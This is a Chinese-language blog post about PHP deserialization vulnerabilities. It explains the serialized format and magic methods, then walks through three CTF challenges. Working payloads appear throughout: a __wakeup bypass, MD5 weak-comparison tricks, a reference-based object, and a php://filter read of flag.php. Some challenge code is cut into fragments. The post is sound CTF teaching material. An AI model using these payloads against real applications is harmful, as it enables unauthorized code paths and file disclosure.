简单讲,序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化
序列化的格式
•a表示array(数组),2表示数组有2个元素
•s:5:”baidu”表示第一个元素的下标,长度为5的字符串
•s:13表示第一个元素的值,长度为13的字符串
•i:10表示值为10的整数
•序列化时,只保存成员变量,不保存方法
格式说明:
•O:1:“A”:3 O表示对象,类名长度为1,类名为A,有3个成员变量
•大括号里面是3个成员变量的信息
•public成员变量的名字直接写就行
•protected成员变量的名字前需要加%00*%00
•private成员变量的名字前需要加%00类名%00
Magic 方法:
•__construct 当一个对象创建时被调用
•__destruct 当一个对象销毁时被调用
•__toString 当一个对象被当作一个字符串使用
•__wakeup 在对象被反序列化之前被调用
常见绕过方法:
1)__wakeup:
•影响版本:PHP before 5.6.25、7.x before 7.0.10
•反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
2)引用绕过:
•$a->var2=&$a->var1,指定var2是var1的引用,所以这两个的值完全一样,(类似c语言里面的指针$a->var2 和 $a->var1 指向同一片内存)
BUUCTF 练习:
1) PHP极客大挑战
尝试了半天,看页面源代码也没找到踪迹,尝试爆破。
得到源码,index.php中
传入参数select,然后反序列化
username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "NO!!!hacker!!!"; echo "You name is: "; echo $this->username;echo ""; echo "You password is: "; echo $this->password;echo ""; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "hello my friend~~sorry i can't give you the flag!"; die(); } }}?>
代码审计我们需要令$username="admin" 和 $password =100并且绕过 __wakeup magic方法,防止$username 变为 "guest",绕过wakeup 只需要在 序列化对象属性数量的位置改为大于原本类的对象属性数量.
有不可见字符,我们需要给他再urlencode一下,
将O:4:"Name":2: .......(省略后面的代码) ,2改为3再urlencode
payload= O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D%0A
2)BUU CODE REVIEW 1
correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } }}if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } }}
代码审计:
需要$correct===$input,
但是由于$this->correct = base64_encode(uniqid()); 这一条命令,每次correct 都会随机生产一个字符,我们令input和correct指向同一片内存地址,方可绕过
这里用到了MD5绕过
MD5弱比较“==”绕过
方法一:利用md5()函数的漏洞绕过
即使用数组绕过的方法: 由于md5对于字符串检验的时候,遇到数组会返回NULL 所以两个数组经过加密后得到的都是NULL,也就是相等的。 所以上传
/?a[]=1&b[]=2
就可绕过 方法二:利用“==”比较漏洞绕过 如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。 下列的字符串的MD5值都是0e开头的:
QNKCDZO240610708s878926199as155964671as214587387as214587387a
2、MD5强比较“===”绕过
此时只能用数组绕过的方法。
input = &$a->correct;$str = serialize($a);echo $str;?>
payload:GET方法:pleaseget=1POST方法:pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
3)[网鼎杯 2020 青龙组]AreUSerialz
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]:
"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}
代码审计后:
1)发现is_valid只允许我们输入ascill值在32-125之间的符号,即可以打印出来的符号
protected $op;protected $filename;protected $content;
接着发现 因为以上三个变量前面带着protected修饰词,如果序列化后将在变量前面加上%00*%00不在32-125间将会过不了这个函数(is_valid return false),即不能触发$obj = unserialize($str) 。
对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public
2)我们最终目的是拿到flag.php里面的内容,所以我们要进入read函数里面,即把op=2(进入read函数),绕过op=1(会先进入write函数),然后$filename = "flag.php"
#序列化后的字符串为以下,试试这个payload#O:11:"FileHandler":3{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
可以看到已经读到flag.php的内容
我们也可以在结合LFI漏洞中运用的php伪协议在尝试尝试,
#$str= O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
第一次写博客,写得哪里不好请谅解.。
来源地址:https://blog.csdn.net/qq_58869808/article/details/125991530